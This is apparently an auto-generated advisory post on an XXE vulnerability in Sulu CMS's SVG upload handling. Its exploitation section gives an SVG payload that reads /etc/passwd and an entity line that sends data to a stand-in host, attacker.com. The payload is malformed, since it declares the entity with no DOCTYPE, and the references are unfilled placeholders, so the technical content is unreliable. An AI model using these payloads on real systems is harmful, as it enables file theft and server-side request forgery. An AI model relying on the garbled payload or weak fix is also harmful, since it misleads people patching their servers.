Listen to this Post
How the CVE Works:
The vulnerability exists in Sulu’s SVG file upload inspection logic. When an admin uploads an SVG file, the `SvgFileInspector.php` improperly processes XML entities, allowing external entity references. Attackers can craft malicious SVG files containing XXE payloads to read local files, perform SSRF, or trigger denial-of-service. The XML DOM parser fails to disable external entity loading, enabling data exfiltration or server-side request forgery.
DailyCVE Form:
Platform: Sulu CMS
Version: 2.5.21-2.5.24, 2.6.5-2.6.8, 3.0.0-alpha1-3.0.0-alpha2
Vulnerability: XXE in SVG upload
Severity: Critical
Date: May 16, 2025
What Undercode Say:
Exploitation:
1. Malicious SVG Payload:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <!ENTITY xxe SYSTEM "file:///etc/passwd"> <text>&xxe;</text> </svg>
2. SSRF via XXE:
<!ENTITY xxe SYSTEM "http://attacker.com/exfil">
Detection:
- Check Sulu Version:
composer show sulu/sulu | grep version
- Log Analysis:
grep "SVG upload" /var/log/sulu/prod.log
Mitigation:
1. Manual Patch (`SvgFileInspector.php`):
libxml_disable_entity_loader(true);
2. WAF Rules:
location ~ .svg$ {
deny all;
}
3. Upgrade:
composer require sulu/sulu:2.5.25 --update-with-dependencies
References:
- NVD: CVE-2025-XXXX
- GitHub Advisory: GHSA-xxxx-xxxx-xxxx
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
